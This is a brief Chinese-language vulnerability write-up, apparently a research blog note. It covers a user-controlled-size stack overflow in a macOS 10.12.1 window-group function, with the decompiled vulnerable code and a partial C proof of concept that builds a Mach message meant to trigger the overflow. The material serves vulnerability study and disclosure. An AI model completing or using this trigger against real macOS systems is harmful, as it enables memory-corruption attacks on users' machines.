basic info
size用户可控,array操作时栈溢出。
macOS 10.12.1
vuln
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| void __fastcall get_window_group_list(__int64 a1, __int64 a2, unsigned int a3, __int64 a4, unsigned int *a5) { unsigned int *total_length; __int64 buffer_1; unsigned int size_param; __int64 v8; __int64 v9; unsigned int length; __int64 size_get_1; _QWORD *buffer; unsigned __int64 idx;
total_length = a5; buffer_1 = a4; size_param = a3; v8 = get_window_group(a1); v9 = v8; if ( v8 ) { length = CFArrayGetCount(v8); if ( length > size_param ) length = size_param; *total_length = length; size_get_1 = length; buffer = malloc(8LL * length); idx = 0LL; CFArrayGetValues(v9, 0LL, size_get_1, buffer); if ( *total_length ) { do { CFNumberGetValue(buffer[idx++], 3LL, buffer_1); buffer_1 += 4LL; } while ( idx < *total_length ); } free(buffer); } else { *total_length = 0; } }
|
array
的size
是用户传递的,也就是说可以控制buffer
的大小,在中间的循环中,在内存访问操作中因为size
用户可控,可以导致buffer_1
溢出。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| CGWindowID r[2] = {0};
mach_msg_return_t ret; msg_t message;
mach_port_t replyPort = mig_get_reply_port();
memset(&message, 0, sizeof(message)); message.header.msgh_remote_port = getport; message.header.msgh_local_port = replyPort; message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); message.header.msgh_size = 40; message.header.msgh_id = 0x7210 + 0xc8;
message.NDR = NDR_record; message.wid = r[0]; message.length = 0x2010;
|
难的是poc的构造,主要是传递过来的参数(array)的构造。
reference
zer0con2018_singi